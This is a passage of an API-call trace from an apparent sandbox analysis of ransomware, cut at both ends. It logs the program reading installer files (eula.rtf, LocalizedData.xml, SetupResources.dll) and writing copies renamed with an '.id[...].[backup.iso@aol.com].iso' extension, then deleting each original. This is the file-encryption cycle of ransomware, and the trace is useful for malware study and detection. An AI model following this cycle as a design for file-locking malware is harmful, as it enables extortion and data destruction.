lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0xdc6, lpOverlapped=0x0) returned 1 [0096.362] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xdd0, lpOverlapped=0x0) returned 1 [0096.363] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0096.363] CloseHandle (hObject=0x324) returned 1 [0096.363] CloseHandle (hObject=0x310) returned 1 [0096.425] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0096.428] SetEvent (hEvent=0x2cc) returned 1 [0096.428] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0096.429] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=18776) returned 1 [0096.429] CloseHandle (hObject=0x310) returned 1 [0096.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0096.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0096.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0096.429] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0096.429] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0096.429] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0096.430] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0096.430] ReadFile (in: hFile=0x310, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x4958, lpOverlapped=0x0) returned 1 [0096.462] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x4960, lpOverlapped=0x0) returned 1 [0096.464] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0096.464] CloseHandle (hObject=0x310) returned 1 [0096.465] CloseHandle (hObject=0x324) returned 1 [0096.468] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0096.470] SetEvent (hEvent=0x2cc) returned 1 [0096.470] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0096.589] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=72076) returned 1 [0096.589] CloseHandle (hObject=0x324) returned 1 [0096.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0096.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0096.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0096.590] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0096.590] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0096.590] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0096.590] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0096.590] ReadFile (in: hFile=0x324, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x1198c, lpOverlapped=0x0) returned 1 [0096.724] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x11990, lpOverlapped=0x0) returned 1 [0096.726] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0096.726] CloseHandle (hObject=0x324) returned 1 [0096.727] CloseHandle (hObject=0x310) returned 1 [0096.736] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0096.738] SetEvent (hEvent=0x2cc) returned 1 [0096.739] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0096.751] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=86442) returned 1 [0096.751] CloseHandle (hObject=0x324) returned 1 [0096.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0096.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0096.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0096.751] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0096.752] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0096.752] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0096.752] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0096.753] ReadFile (in: hFile=0x324, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x151aa, lpOverlapped=0x0) returned 1 [0096.975] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x151b0, lpOverlapped=0x0) returned 1 [0096.979] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0096.979] CloseHandle (hObject=0x324) returned 1 [0096.979] CloseHandle (hObject=0x328) returned 1 [0096.983] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0096.986] SetEvent (hEvent=0x2cc) returned 1 [0096.986] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0096.988] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=18776) returned 1 [0096.988] CloseHandle (hObject=0x328) returned 1 [0096.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0096.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0096.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0096.989] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0096.989] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0096.989] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0096.989] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0096.989] ReadFile (in: hFile=0x328, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x4958, lpOverlapped=0x0) returned 1 [0097.138] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x4960, lpOverlapped=0x0) returned 1 [0097.140] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0097.141] CloseHandle (hObject=0x328) returned 1 [0097.141] CloseHandle (hObject=0x324) returned 1 [0097.143] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0097.145] SetEvent (hEvent=0x2cc) returned 1 [0097.146] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0097.146] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=80060) returned 1 [0097.146] CloseHandle (hObject=0x324) returned 1 [0097.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0097.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0097.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0097.147] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0097.147] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0097.147] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0097.147] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0097.147] ReadFile (in: hFile=0x324, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x138bc, lpOverlapped=0x0) returned 1 [0097.175] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x138c0, lpOverlapped=0x0) returned 1 [0097.182] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0097.182] CloseHandle (hObject=0x324) returned 1 [0097.182] CloseHandle (hObject=0x328) returned 1 [0097.192] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0097.195] SetEvent (hEvent=0x2cc) returned 1 [0097.195] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0097.196] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=10125) returned 1 [0097.196] CloseHandle (hObject=0x328) returned 1 [0097.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0097.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0097.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0097.197] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0097.197] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0097.197] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0097.197] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0097.224] ReadFile (in: hFile=0x328, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x278d, lpOverlapped=0x0) returned 1 [0097.558] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x2790, lpOverlapped=0x0) returned 1 [0097.559] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0097.560] CloseHandle (hObject=0x328) returned 1 [0097.560] CloseHandle (hObject=0x310) returned 1 [0097.568] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0097.570] SetEvent (hEvent=0x2cc) returned 1 [0097.571] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0097.869] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=65238) returned 1 [0097.869] CloseHandle (hObject=0x310) returned 1 [0097.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0097.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0097.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0097.870] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0097.870] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0097.871] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0097.871] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0097.871] ReadFile (in: hFile=0x310, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0xfed6, lpOverlapped=0x0) returned 1 [0097.979] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xfee0, lpOverlapped=0x0) returned 1 [0097.983] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0097.983] CloseHandle (hObject=0x310) returned 1 [0097.984] CloseHandle (hObject=0x328) returned 1 [0097.986] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0097.988] SetEvent (hEvent=0x2cc) returned 1 [0097.989] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0097.989] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=15192) returned 1 [0097.989] CloseHandle (hObject=0x328) returned 1 [0097.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0097.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0097.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0097.990] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0097.990] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0097.990] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0097.990] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0097.990] ReadFile (in: hFile=0x328, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x3b58, lpOverlapped=0x0) returned 1 [0098.002] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, 